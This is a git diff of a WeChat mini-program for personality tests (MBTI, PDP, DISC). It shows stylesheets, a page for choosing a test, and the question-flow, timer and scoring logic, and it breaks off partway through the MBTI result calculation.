+ border-radius: 50%; + animation: spin 1s linear infinite; +} + +@keyframes spin { + to { transform: rotate(360deg); } +} + +.analyzing-title { + font-size: 36rpx; + font-weight: 600; + color: #333; + margin-bottom: 16rpx; +} + +.analyzing-desc { + font-size: 28rpx; + color: #e63946; + margin-bottom: 24rpx; + text-align: center; + font-weight: 500; +} + +.analyzing-bar { + width: 400rpx; + height: 12rpx; + background: #e5e5e5; + border-radius: 6rpx; + overflow: hidden; + margin-bottom: 24rpx; +} + +.analyzing-bar-fill { + height: 100%; + background: linear-gradient(90deg, #e63946, #ff6b9d); + border-radius: 6rpx; + transition: width 0.3s ease; +} + +.analyzing-hint { + font-size: 24rpx; + color: #999; + text-align: center; + line-height: 1.6; +} + +/* ========== 顶部 Hero 区域 ========== */ +.hero-banner { + display: flex; + align-items: center; + border-radius: 20rpx; + padding: 32rpx 28rpx; + margin: 24rpx 0; + gap: 20rpx; +} + +.hero-success { + background: linear-gradient(135deg, #1a1a2e 0%, #3a3a5c 100%); +} + +.hero-error { + background: linear-gradient(135deg, #c62828 0%, #e53935 100%); +} + +.hero-icon { + font-size: 64rpx; + line-height: 1; + flex-shrink: 0; +} + +.hero-text-wrap { + display: flex; + flex-direction: column; + gap: 8rpx; +} + +.hero-title { + font-size: 34rpx; + font-weight: 700; + color: #fff; + display: block; +} + +.hero-sub { + font-size: 24rpx; + color: rgba(255, 255, 255, 0.65); + display: block; +} + +/* ========== 通用卡片 ========== */ +.card { + background-color: #fff; + border-radius: 16rpx; + padding: 40rpx 32rpx; + margin-bottom: 24rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.05); + word-wrap: break-word; +} + +.card-title { + font-size: 34rpx; + font-weight: 700; + color: #1a1a2e; + display: block; + margin-bottom: 24rpx; + border-left: 8rpx solid #e63946; + padding-left: 20rpx; +} + +.card-text { + font-size: 28rpx; + color: #333; + line-height: 1.8; + display: block; + white-space: pre-wrap; +} + +.error-title { + color: #f44336; + border-left-color: #f44336; +} + +.error-message { + color: #666; + background-color: #f9f9f9; + padding: 20rpx; + border-radius: 12rpx; +} + +.action-btn-retry { + margin-top: 32rpx; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + height: 88rpx; + border-radius: 44rpx; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 6rpx 16rpx rgba(230, 57, 70, 0.25); +} + +.retry-text { + font-size: 30rpx; + color: #fff; + font-weight: 600; +} + +/* ========== 分块卡片 ========== */ +.section-card { + padding: 0; + overflow: hidden; +} + +.section-header { + display: flex; + align-items: center; + padding: 28rpx 32rpx 20rpx; + background: linear-gradient(135deg, #fff5f5 0%, #fff 100%); + border-bottom: 1rpx solid #f5f5f5; +} + +.section-icon { + font-size: 40rpx; + margin-right: 16rpx; + line-height: 1; +} + +.section-title-text { + font-size: 30rpx; + font-weight: 700; + color: #1a1a2e; + flex: 1; + display: block; +} + +.section-body { + padding: 24rpx 32rpx 32rpx; +} + +.section-body .content-text { + font-size: 27rpx; + color: #444; + line-height: 1.9; + letter-spacing: 0.5rpx; +} + +/* ========== 操作按钮 ========== */ +.action-section { + margin-top: 16rpx; + padding-bottom: 40rpx; +} + +.btn { + display: flex; + align-items: center; + justify-content: center; + width: 100%!important; + height: 100rpx; + min-height: 100rpx; + border-radius: 28rpx; + margin-bottom: 20rpx; + padding: 0; + border: none; + line-height: 100rpx; + box-sizing: border-box; + overflow: hidden; +} + +.btn::after { + border: none; +} + +.btn-primary { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); +} + +.btn-outline { + background: #fff; + border: 2rpx solid #e63946; +} + +.btn-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} + +.btn-text-outline { + font-size: 30rpx; + color: #e63946; + font-weight: 500; +} + +/* ========== 支付解锁卡片 ========== */ +.pay-gate-card { + display: flex; + flex-direction: column; + align-items: center; + padding: 60rpx 40rpx 48rpx; + text-align: center; +} + +.pay-gate-icon { + font-size: 80rpx; + margin-bottom: 24rpx; +} + +.pay-gate-title { + font-size: 36rpx; + font-weight: 700; + color: #1f2937; + margin-bottom: 16rpx; +} + +.pay-gate-desc { + font-size: 28rpx; + color: #6b7280; + line-height: 1.6; + margin-bottom: 36rpx; +} + +.pay-gate-amount { + display: flex; + align-items: center; + gap: 16rpx; + background: #fff5f5; + border-radius: 20rpx; + padding: 20rpx 40rpx; + margin-bottom: 40rpx; +} + +.pay-amount-label { + font-size: 26rpx; + color: #6b7280; +} + +.pay-amount-value { + font-size: 52rpx; + font-weight: 800; + color: #e63946; +} + +.pay-gate-btn { + width: 100%; + height: 96rpx; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + border-radius: 48rpx; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.35); +} + +.pay-gate-btn.paying { + opacity: 0.7; +} + +.pay-gate-btn-text { + font-size: 32rpx; + font-weight: 700; + color: #fff; +} + +/* AI 生成内容标识横幅(监管合规,始终显示) */ +.ai-disclosure-banner { + display: flex; + align-items: center; + justify-content: center; + gap: 12rpx; + margin: 24rpx 0; + padding: 16rpx 24rpx; + background: linear-gradient(135deg, #f0f4ff 0%, #e8ecf8 100%); + border: 1rpx solid #c7d2fe; + border-radius: 12rpx; +} + +.ai-disclosure-banner.bottom { + margin-top: 16rpx; + margin-bottom: 0; +} + +.ai-disclosure-icon { + width: 44rpx; + height: 44rpx; + border-radius: 8rpx; + background: linear-gradient(135deg, #6366f1 0%, #818cf8 100%); + color: #fff; + font-size: 20rpx; + font-weight: 700; + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0; +} + +.ai-disclosure-text { + font-size: 22rpx; + color: #4338ca; + line-height: 1.4; +} diff --git a/miniprogram/pages/test-select/index.js b/miniprogram/pages/test-select/index.js index 90002dd..8594be6 100644 --- a/miniprogram/pages/test-select/index.js +++ b/miniprogram/pages/test-select/index.js @@ -1,21 +1,21 @@ -// pages/test-select/index.js - 人脸测试后的详情性格测试入口(MBTI / PDP / DISC) -Page({ - data: {}, - - onLoad() {}, - - // 进入 MBTI 测试 - goMBTI() { - wx.navigateTo({ url: '/pages/test/mbti' }) - }, - - // 进入 PDP 测试 - goPDP() { - wx.navigateTo({ url: '/pages/test/pdp' }) - }, - - // 进入 DISC 测试 - goDISC() { - wx.navigateTo({ url: '/pages/test/disc' }) - } -}) +// pages/test-select/index.js - 人脸测试后的详情性格测试入口(MBTI / PDP / DISC) +Page({ + data: {}, + + onLoad() {}, + + // 进入 MBTI 测试 + goMBTI() { + wx.navigateTo({ url: '/pages/test/mbti' }) + }, + + // 进入 PDP 测试 + goPDP() { + wx.navigateTo({ url: '/pages/test/pdp' }) + }, + + // 进入 DISC 测试 + goDISC() { + wx.navigateTo({ url: '/pages/test/disc' }) + } +}) diff --git a/miniprogram/pages/test-select/index.json b/miniprogram/pages/test-select/index.json index e4c0c1e..3f9185e 100644 --- a/miniprogram/pages/test-select/index.json +++ b/miniprogram/pages/test-select/index.json @@ -1,5 +1,5 @@ -{ - "navigationBarTitleText": "详细性格测试", - "navigationBarBackgroundColor": "#FFFFFF", - "usingComponents": {} -} +{ + "navigationBarTitleText": "详细性格测试", + "navigationBarBackgroundColor": "#FFFFFF", + "usingComponents": {} +} diff --git a/miniprogram/pages/test-select/index.wxml b/miniprogram/pages/test-select/index.wxml index d35442c..1b72de9 100644 --- a/miniprogram/pages/test-select/index.wxml +++ b/miniprogram/pages/test-select/index.wxml @@ -1,40 +1,40 @@ - - - - 选择一项详细性格测试 - 完成问卷即可获得对应维度的专业报告,与面相分析结果互补 - - - - - 🧠 - - - MBTI 性格测试 - 16型人格 · 发现你的认知与决策风格 - - - - - - - 🦁 - - - PDP 行为偏好测试 - 老虎 / 孔雀 / 考拉 / 猫头鹰 · 行为风格 - - - - - - - 📊 - - - DISC 性格测试 - D/I/S/C 四维 · 沟通与行为倾向 - - - - + + + + 选择一项详细性格测试 + 完成问卷即可获得对应维度的专业性格报告 + + + + + 🧠 + + + MBTI 性格测试 + 16型人格 · 发现你的认知与决策风格 + + + + + + + 🦁 + + + PDP 行为偏好测试 + 老虎 / 孔雀 / 考拉 / 猫头鹰 · 行为风格 + + + + + + + 📊 + + + DISC 性格测试 + D/I/S/C 四维 · 沟通与行为倾向 + + + + diff --git a/miniprogram/pages/test-select/index.wxss b/miniprogram/pages/test-select/index.wxss index 9b85d95..8772159 100644 --- a/miniprogram/pages/test-select/index.wxss +++ b/miniprogram/pages/test-select/index.wxss @@ -1,107 +1,107 @@ -/* pages/test-select/index.wxss - 详细性格测试入口,与现有 UI 风格一致 */ -.container { - min-height: 100vh; - background: linear-gradient(180deg, #fff5f5 0%, #f5f5f5 50%, #ffffff 100%); - padding: 24rpx 24rpx 60rpx; - box-sizing: border-box; -} - -.card { - background-color: #fff; - border-radius: 16rpx; - padding: 32rpx; - margin-bottom: 24rpx; - box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.04); -} - -/* 顶部说明 */ -.intro-card { - text-align: center; - padding: 40rpx 32rpx; -} - -.intro-title { - display: block; - font-size: 34rpx; - font-weight: 700; - color: #e63946; - margin-bottom: 16rpx; -} - -.intro-desc { - display: block; - font-size: 26rpx; - color: #666; - line-height: 1.6; -} - -/* 入口卡片(与 result 页 next-btn 同色系) */ -.entry-card { - display: flex; - align-items: center; - padding: 28rpx 32rpx; - transition: opacity 0.2s; - border-radius: 16rpx; - border: 2rpx solid transparent; -} - -.entry-card:active { - opacity: 0.9; - background: linear-gradient(135deg, rgba(230, 57, 70, 0.04) 0%, rgba(255, 107, 157, 0.04) 100%); - border-color: rgba(230, 57, 70, 0.15); -} - -.entry-icon-wrap { - width: 88rpx; - height: 88rpx; - border-radius: 20rpx; - display: flex; - align-items: center; - justify-content: center; - margin-right: 24rpx; - flex-shrink: 0; -} - -.entry-icon-wrap.mbti { - background: linear-gradient(135deg, rgba(124, 58, 237, 0.15) 0%, rgba(139, 92, 246, 0.2) 100%); -} - -.entry-icon-wrap.pdp { - background: linear-gradient(135deg, rgba(230, 57, 70, 0.12) 0%, rgba(255, 107, 157, 0.15) 100%); -} - -.entry-icon-wrap.disc { - background: linear-gradient(135deg, rgba(59, 130, 246, 0.12) 0%, rgba(96, 165, 250, 0.18) 100%); -} - -.entry-emoji { - font-size: 44rpx; -} - -.entry-content { - flex: 1; - min-width: 0; -} - -.entry-name { - display: block; - font-size: 30rpx; - font-weight: 600; - color: #333; - margin-bottom: 8rpx; -} - -.entry-brief { - display: block; - font-size: 24rpx; - color: #888; - line-height: 1.4; -} - -.entry-arrow { - font-size: 32rpx; - color: #e63946; - font-weight: 600; - margin-left: 16rpx; - flex-shrink: 0; -} +/* pages/test-select/index.wxss - 详细性格测试入口,与现有 UI 风格一致 */ +.container { + min-height: 100vh; + background: linear-gradient(180deg, #fff5f5 0%, #f5f5f5 50%, #ffffff 100%); + padding: 24rpx 24rpx 60rpx; + box-sizing: border-box; +} + +.card { + background-color: #fff; + border-radius: 16rpx; + padding: 32rpx; + margin-bottom: 24rpx; + box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.04); +} + +/* 顶部说明 */ +.intro-card { + text-align: center; + padding: 40rpx 32rpx; +} + +.intro-title { + display: block; + font-size: 34rpx; + font-weight: 700; + color: #e63946; + margin-bottom: 16rpx; +} + +.intro-desc { + display: block; + font-size: 26rpx; + color: #666; + line-height: 1.6; +} + +/* 入口卡片(与 result 页 next-btn 同色系) */ +.entry-card { + display: flex; + align-items: center; + padding: 28rpx 32rpx; + transition: opacity 0.2s; + border-radius: 16rpx; + border: 2rpx solid transparent; +} + +.entry-card:active { + opacity: 0.9; + background: linear-gradient(135deg, rgba(230, 57, 70, 0.04) 0%, rgba(255, 107, 157, 0.04) 100%); + border-color: rgba(230, 57, 70, 0.15); +} + +.entry-icon-wrap { + width: 88rpx; + height: 88rpx; + border-radius: 20rpx; + display: flex; + align-items: center; + justify-content: center; + margin-right: 24rpx; + flex-shrink: 0; +} + +.entry-icon-wrap.mbti { + background: linear-gradient(135deg, rgba(124, 58, 237, 0.15) 0%, rgba(139, 92, 246, 0.2) 100%); +} + +.entry-icon-wrap.pdp { + background: linear-gradient(135deg, rgba(230, 57, 70, 0.12) 0%, rgba(255, 107, 157, 0.15) 100%); +} + +.entry-icon-wrap.disc { + background: linear-gradient(135deg, rgba(59, 130, 246, 0.12) 0%, rgba(96, 165, 250, 0.18) 100%); +} + +.entry-emoji { + font-size: 44rpx; +} + +.entry-content { + flex: 1; + min-width: 0; +} + +.entry-name { + display: block; + font-size: 30rpx; + font-weight: 600; + color: #333; + margin-bottom: 8rpx; +} + +.entry-brief { + display: block; + font-size: 24rpx; + color: #888; + line-height: 1.4; +} + +.entry-arrow { + font-size: 32rpx; + color: #e63946; + font-weight: 600; + margin-left: 16rpx; + flex-shrink: 0; +} diff --git a/miniprogram/pages/test/disc.js b/miniprogram/pages/test/disc.js index 95863a5..d2cb8ea 100644 --- a/miniprogram/pages/test/disc.js +++ b/miniprogram/pages/test/disc.js @@ -1,134 +1,134 @@ -// pages/test/disc.js -const { discQuestions, shuffleQuestions } = require('../../utils/questions') -const { discDescriptions } = require('../../utils/descriptions') -const app = getApp() - -Page({ - data: { - questions: [], - currentIndex: 0, - currentQuestion: null, - answers: {}, - selectedAnswer: null, - total: discQuestions.length, - answeredCount: 0, - progress: 0, - timeRemaining: 15 * 60, - formatTime: '15:00', - isSubmitting: false - }, - - timer: null, - - onLoad() { - const questions = shuffleQuestions(discQuestions) - this.setData({ questions, currentQuestion: questions[0] }) - this.startTimer() - }, - - onUnload() { - if (this.timer) clearInterval(this.timer) - }, - - startTimer() { - this.timer = setInterval(() => { - let time = this.data.timeRemaining - 1 - if (time <= 0) { - clearInterval(this.timer) - this.submitTest() - return - } - const minutes = Math.floor(time / 60) - const seconds = time % 60 - this.setData({ - timeRemaining: time, - formatTime: `${minutes}:${seconds < 10 ? '0' : ''}${seconds}` - }) - }, 1000) - }, - - selectAnswer(e) { - const value = e.currentTarget.dataset.value - const questionId = this.data.currentQuestion.id - let answers = { ...this.data.answers } - answers[questionId] = value - - this.setData({ - selectedAnswer: value, - answers: answers, - answeredCount: Object.keys(answers).length, - progress: (Object.keys(answers).length / this.data.total) * 100 - }) - - setTimeout(() => { - if (this.data.currentIndex < this.data.total - 1) { - this.nextQuestion() - } - }, 300) - }, - - prevQuestion() { - if (this.data.currentIndex > 0) { - const newIndex = this.data.currentIndex - 1 - const newQuestion = this.data.questions[newIndex] - this.setData({ - currentIndex: newIndex, - currentQuestion: newQuestion, - selectedAnswer: this.data.answers[newQuestion.id] || null - }) - } - }, - - nextQuestion() { - if (this.data.currentIndex < this.data.total - 1) { - const newIndex = this.data.currentIndex + 1 - const newQuestion = this.data.questions[newIndex] - this.setData({ - currentIndex: newIndex, - currentQuestion: newQuestion, - selectedAnswer: this.data.answers[newQuestion.id] || null - }) - } - }, - - submitTest() { - if (this.data.isSubmitting) return - this.setData({ isSubmitting: true }) - - const scores = { D: 0, I: 0, S: 0, C: 0 } - Object.values(this.data.answers).forEach(value => { - if (scores.hasOwnProperty(value)) scores[value]++ - }) - - const total = Object.values(scores).reduce((sum, v) => sum + v, 0) - const percentages = { - D: Math.round((scores.D / total) * 100), - I: Math.round((scores.I / total) * 100), - S: Math.round((scores.S / total) * 100), - C: Math.round((scores.C / total) * 100) - } - - const dominantType = Object.entries(scores).sort((a, b) => b[1] - a[1])[0][0] - const secondaryType = Object.entries(scores).sort((a, b) => b[1] - a[1])[1][0] - - const resultData = { - scores, - percentages, - dominantType, - secondaryType, - description: discDescriptions[dominantType], - testDuration: 15 * 60 - this.data.timeRemaining, - completedAt: new Date().toISOString(), - // 便于后端留存完整答题过程 - answers: this.data.answers - } - - // 本地缓存 + 全局缓存 - wx.setStorageSync('discResult', resultData) - if (app && typeof app.saveTestResult === 'function') { - app.saveTestResult('disc', resultData) - } - - wx.redirectTo({ url: '/pages/result/disc' }) - } -}) +// pages/test/disc.js +const { discQuestions, shuffleQuestions } = require('../../utils/questions') +const { discDescriptions } = require('../../utils/descriptions') +const app = getApp() + +Page({ + data: { + questions: [], + currentIndex: 0, + currentQuestion: null, + answers: {}, + selectedAnswer: null, + total: discQuestions.length, + answeredCount: 0, + progress: 0, + timeRemaining: 15 * 60, + formatTime: '15:00', + isSubmitting: false + }, + + timer: null, + + onLoad() { + const questions = shuffleQuestions(discQuestions) + this.setData({ questions, currentQuestion: questions[0] }) + this.startTimer() + }, + + onUnload() { + if (this.timer) clearInterval(this.timer) + }, + + startTimer() { + this.timer = setInterval(() => { + let time = this.data.timeRemaining - 1 + if (time <= 0) { + clearInterval(this.timer) + this.submitTest() + return + } + const minutes = Math.floor(time / 60) + const seconds = time % 60 + this.setData({ + timeRemaining: time, + formatTime: `${minutes}:${seconds < 10 ? '0' : ''}${seconds}` + }) + }, 1000) + }, + + selectAnswer(e) { + const value = e.currentTarget.dataset.value + const questionId = this.data.currentQuestion.id + let answers = { ...this.data.answers } + answers[questionId] = value + + this.setData({ + selectedAnswer: value, + answers: answers, + answeredCount: Object.keys(answers).length, + progress: (Object.keys(answers).length / this.data.total) * 100 + }) + + setTimeout(() => { + if (this.data.currentIndex < this.data.total - 1) { + this.nextQuestion() + } + }, 300) + }, + + prevQuestion() { + if (this.data.currentIndex > 0) { + const newIndex = this.data.currentIndex - 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + nextQuestion() { + if (this.data.currentIndex < this.data.total - 1) { + const newIndex = this.data.currentIndex + 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + submitTest() { + if (this.data.isSubmitting) return + this.setData({ isSubmitting: true }) + + const scores = { D: 0, I: 0, S: 0, C: 0 } + Object.values(this.data.answers).forEach(value => { + if (scores.hasOwnProperty(value)) scores[value]++ + }) + + const total = Object.values(scores).reduce((sum, v) => sum + v, 0) + const percentages = { + D: Math.round((scores.D / total) * 100), + I: Math.round((scores.I / total) * 100), + S: Math.round((scores.S / total) * 100), + C: Math.round((scores.C / total) * 100) + } + + const dominantType = Object.entries(scores).sort((a, b) => b[1] - a[1])[0][0] + const secondaryType = Object.entries(scores).sort((a, b) => b[1] - a[1])[1][0] + + const resultData = { + scores, + percentages, + dominantType, + secondaryType, + description: discDescriptions[dominantType], + testDuration: 15 * 60 - this.data.timeRemaining, + completedAt: new Date().toISOString(), + // 便于后端留存完整答题过程 + answers: this.data.answers + } + + // 本地缓存 + 全局缓存 + wx.setStorageSync('discResult', resultData) + if (app && typeof app.saveTestResult === 'function') { + app.saveTestResult('disc', resultData) + } + + wx.redirectTo({ url: '/pages/result/disc' }) + } +}) diff --git a/miniprogram/pages/test/disc.json b/miniprogram/pages/test/disc.json index b7c83cd..65ae751 100644 --- a/miniprogram/pages/test/disc.json +++ b/miniprogram/pages/test/disc.json @@ -1,6 +1,6 @@ -{ - "navigationBarTitleText": "DISC测试", - "navigationBarBackgroundColor": "#3B82F6", - "navigationBarTextStyle": "white", - "usingComponents": {} -} +{ + "navigationBarTitleText": "DISC测试", + "navigationBarBackgroundColor": "#3B82F6", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/miniprogram/pages/test/disc.wxml b/miniprogram/pages/test/disc.wxml index a83cc11..57413bd 100644 --- a/miniprogram/pages/test/disc.wxml +++ b/miniprogram/pages/test/disc.wxml @@ -1,48 +1,48 @@ - - - - - 问题 {{currentIndex + 1}}/{{total}} - 剩余时间: {{formatTime}} - - - - - - - - - {{currentQuestion.question}} - - - - - - {{option.text}} - - - - - - - - 上一题 - - - 跳过 - - - - - - {{isSubmitting ? '计算中...' : '完成测试,查看结果'}} - - - + + + + + 问题 {{currentIndex + 1}}/{{total}} + 剩余时间: {{formatTime}} + + + + + + + + + {{currentQuestion.question}} + + + + + + {{option.text}} + + + + + + + + 上一题 + + + 跳过 + + + + + + {{isSubmitting ? '计算中...' : '完成测试,查看结果'}} + + + diff --git a/miniprogram/pages/test/disc.wxss b/miniprogram/pages/test/disc.wxss index 49f2191..629c75c 100644 --- a/miniprogram/pages/test/disc.wxss +++ b/miniprogram/pages/test/disc.wxss @@ -1,172 +1,172 @@ -/* pages/test/disc.wxss - 按旧版模板重构 */ -.test-page { - width: 100%; - min-height: 100vh; - display: flex; - flex-direction: column; - background-color: #fff; -} - -.progress-section { - padding: 32rpx; - border-bottom: 1rpx solid #e5e5e5; - flex-shrink: 0; -} - -.progress-info { - display: flex; - justify-content: space-between; - align-items: center; - margin-bottom: 16rpx; -} - -.question-count { - font-size: 28rpx; - font-weight: 500; - color: #333; -} - -.time-remaining { - font-size: 28rpx; - color: #999; -} - -.progress-bar-container { - width: 100%; - height: 8rpx; - background-color: #e5e5e5; - border-radius: 8rpx; - overflow: hidden; -} - -.progress-bar { - height: 100%; - background: linear-gradient(135deg, #3B82F6 0%, #60a5fa 100%); - border-radius: 8rpx; - transition: width 0.3s ease; -} - -.content-area { - flex: 1; - overflow-y: auto; - padding: 32rpx; -} - -.question-card { - background-color: #fff; - border-radius: 24rpx; - padding: 48rpx; - box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); -} - -.question-text { - display: block; - font-size: 40rpx; - font-weight: 500; - color: #333; - line-height: 1.6; - margin-bottom: 48rpx; -} - -.options-container { - display: flex; - flex-direction: column; - gap: 32rpx; -} - -.option-item { - display: flex; - align-items: center; - padding: 32rpx; - background: #fff; - border: 2rpx solid #e5e5e5; - border-radius: 16rpx; - transition: all 0.3s ease; -} - -.option-item.selected { - background-color: rgba(59, 130, 246, 0.1); - border-color: #3B82F6; -} - -.radio-button { - width: 40rpx; - height: 40rpx; - border-radius: 50%; - border: 2rpx solid #d1d5db; - display: flex; - align-items: center; - justify-content: center; - margin-right: 24rpx; - flex-shrink: 0; -} - -.radio-button.checked { - background-color: #3B82F6; - border-color: #3B82F6; -} - -.radio-inner { - width: 16rpx; - height: 16rpx; - border-radius: 50%; - background-color: #fff; -} - -.option-text { - flex: 1; - font-size: 32rpx; - color: #333; - line-height: 1.5; -} - -.footer-buttons { - display: flex; - gap: 24rpx; - padding: 32rpx; - border-top: 1rpx solid #e5e5e5; - flex-shrink: 0; -} - -.nav-button { - flex: 1; - padding: 28rpx; - border-radius: 16rpx; - text-align: center; -} - -.nav-button.secondary { - background-color: #fff; - border: 2rpx solid #3B82F6; -} - -.nav-button.secondary .button-text { - color: #3B82F6; -} - -.nav-button.disabled { - opacity: 0.4; - pointer-events: none; -} - -.button-text { - font-size: 32rpx; - font-weight: 500; -} - -.submit-wrap { - padding: 0 32rpx 32rpx; -} - -.submit-button { - background: linear-gradient(135deg, #3B82F6 0%, #60a5fa 100%); - border-radius: 16rpx; - padding: 28rpx; - text-align: center; -} - -.submit-text { - font-size: 32rpx; - font-weight: 600; - color: #fff; -} +/* pages/test/disc.wxss - 按旧版模板重构 */ +.test-page { + width: 100%; + min-height: 100vh; + display: flex; + flex-direction: column; + background-color: #fff; +} + +.progress-section { + padding: 32rpx; + border-bottom: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.progress-info { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16rpx; +} + +.question-count { + font-size: 28rpx; + font-weight: 500; + color: #333; +} + +.time-remaining { + font-size: 28rpx; + color: #999; +} + +.progress-bar-container { + width: 100%; + height: 8rpx; + background-color: #e5e5e5; + border-radius: 8rpx; + overflow: hidden; +} + +.progress-bar { + height: 100%; + background: linear-gradient(135deg, #3B82F6 0%, #60a5fa 100%); + border-radius: 8rpx; + transition: width 0.3s ease; +} + +.content-area { + flex: 1; + overflow-y: auto; + padding: 32rpx; +} + +.question-card { + background-color: #fff; + border-radius: 24rpx; + padding: 48rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); +} + +.question-text { + display: block; + font-size: 40rpx; + font-weight: 500; + color: #333; + line-height: 1.6; + margin-bottom: 48rpx; +} + +.options-container { + display: flex; + flex-direction: column; + gap: 32rpx; +} + +.option-item { + display: flex; + align-items: center; + padding: 32rpx; + background: #fff; + border: 2rpx solid #e5e5e5; + border-radius: 16rpx; + transition: all 0.3s ease; +} + +.option-item.selected { + background-color: rgba(59, 130, 246, 0.1); + border-color: #3B82F6; +} + +.radio-button { + width: 40rpx; + height: 40rpx; + border-radius: 50%; + border: 2rpx solid #d1d5db; + display: flex; + align-items: center; + justify-content: center; + margin-right: 24rpx; + flex-shrink: 0; +} + +.radio-button.checked { + background-color: #3B82F6; + border-color: #3B82F6; +} + +.radio-inner { + width: 16rpx; + height: 16rpx; + border-radius: 50%; + background-color: #fff; +} + +.option-text { + flex: 1; + font-size: 32rpx; + color: #333; + line-height: 1.5; +} + +.footer-buttons { + display: flex; + gap: 24rpx; + padding: 32rpx; + border-top: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.nav-button { + flex: 1; + padding: 28rpx; + border-radius: 16rpx; + text-align: center; +} + +.nav-button.secondary { + background-color: #fff; + border: 2rpx solid #3B82F6; +} + +.nav-button.secondary .button-text { + color: #3B82F6; +} + +.nav-button.disabled { + opacity: 0.4; + pointer-events: none; +} + +.button-text { + font-size: 32rpx; + font-weight: 500; +} + +.submit-wrap { + padding: 0 32rpx 32rpx; +} + +.submit-button { + background: linear-gradient(135deg, #3B82F6 0%, #60a5fa 100%); + border-radius: 16rpx; + padding: 28rpx; + text-align: center; +} + +.submit-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} diff --git a/miniprogram/pages/test/mbti.js b/miniprogram/pages/test/mbti.js index d4bb51e..ec8ea55 100644 --- a/miniprogram/pages/test/mbti.js +++ b/miniprogram/pages/test/mbti.js @@ -1,180 +1,180 @@ -// pages/test/mbti.js - MBTI测试页面逻辑 -const { mbtiQuestions, shuffleQuestions } = require('../../utils/questions') -const { mbtiDescriptions } = require('../../utils/descriptions') -const payment = require('../../utils/payment') -const app = getApp() - -Page({ - data: { - questions: [], - currentIndex: 0, - currentQuestion: null, - answers: {}, - selectedAnswer: null, - total: mbtiQuestions.length, - answeredCount: 0, - progress: 0, - timeRemaining: 30 * 60, // 30分钟 - formatTime: '30:00', - isSubmitting: false, - canAccess: false - }, - - timer: null, - - onLoad() { - const questions = shuffleQuestions(mbtiQuestions) - this.setData({ - questions, - currentQuestion: questions[0], - canAccess: true - }) - this.startTimer() - }, - - // 检查访问权限 - checkAccess() { - // 当前策略:所有测试免费开放,直接允许访问 - // 若后续恢复收费,可重新启用 payment.canTakeTest 等校验逻辑 - return true - }, - - onUnload() { - if (this.timer) { - clearInterval(this.timer) - } - }, - - // 启动计时器 - startTimer() { - this.timer = setInterval(() => { - let time = this.data.timeRemaining - 1 - if (time <= 0) { - clearInterval(this.timer) - this.submitTest() - return - } - const minutes = Math.floor(time / 60) - const seconds = time % 60 - this.setData({ - timeRemaining: time, - formatTime: `${minutes}:${seconds < 10 ? '0' : ''}${seconds}` - }) - }, 1000) - }, - - // 选择答案 - selectAnswer(e) { - const value = e.currentTarget.dataset.value - const questionId = this.data.currentQuestion.id - - let answers = { ...this.data.answers } - answers[questionId] = value - - this.setData({ - selectedAnswer: value, - answers: answers, - answeredCount: Object.keys(answers).length, - progress: (Object.keys(answers).length / this.data.total) * 100 - }) - - // 自动跳转下一题 - setTimeout(() => { - if (this.data.currentIndex < this.data.total - 1) { - this.nextQuestion() - } - }, 300) - }, - - // 上一题 - prevQuestion() { - if (this.data.currentIndex > 0) { - const newIndex = this.data.currentIndex - 1 - const newQuestion = this.data.questions[newIndex] - this.setData({ - currentIndex: newIndex, - currentQuestion: newQuestion, - selectedAnswer: this.data.answers[newQuestion.id] || null - }) - } - }, - - // 下一题 - nextQuestion() { - if (this.data.currentIndex < this.data.total - 1) { - const newIndex = this.data.currentIndex + 1 - const newQuestion = this.data.questions[newIndex] - this.setData({ - currentIndex: newIndex, - currentQuestion: newQuestion, - selectedAnswer: this.data.answers[newQuestion.id] || null - }) - } - }, - - // 提交测试 - submitTest() { - if (this.data.isSubmitting) return - this.setData({ isSubmitting: true }) - - const result = this.calculateResult() - - // 保存结果 - const resultData = { - ...result, - testDuration: 30 * 60 - this.data.timeRemaining, - completedAt: new Date().toISOString(), - timestamp: new Date().toISOString() - } - wx.setStorageSync('mbtiResult', resultData) - app.saveTestResult('mbti', resultData) - - // 跳转到结果页 - wx.redirectTo({ - url: '/pages/result/mbti' - }) - }, - - // 计算MBTI结果 - calculateResult() { - const answers = this.data.answers - const scores = { E: 0, I: 0, S: 0, N: 0, T: 0, F: 0, J: 0, P: 0 } - - // 统计各维度得分 - Object.values(answers).forEach(value => { - if (scores.hasOwnProperty(value)) { - scores[value]++ - } - }) - - // 确定MBTI类型 - const mbtiType = [ - scores.E >= scores.I ? 'E' : 'I', - scores.S >= scores.N ? 'S' : 'N', - scores.T >= scores.F ? 'T' : 'F', - scores.J >= scores.P ? 'J' : 'P' - ].join('') - - // 计算各维度百分比 - const dimensionScores = { - EI: { E: scores.E, I: scores.I, dominant: scores.E >= scores.I ? 'E' : 'I', percentage: Math.round((Math.max(scores.E, scores.I) / (scores.E + scores.I)) * 100) }, - SN: { S: scores.S, N: scores.N, dominant: scores.S >= scores.N ? 'S' : 'N', percentage: Math.round((Math.max(scores.S, scores.N) / (scores.S + scores.N)) * 100) }, - TF: { T: scores.T, F: scores.F, dominant: scores.T >= scores.F ? 'T' : 'F', percentage: Math.round((Math.max(scores.T, scores.F) / (scores.T + scores.F)) * 100) }, 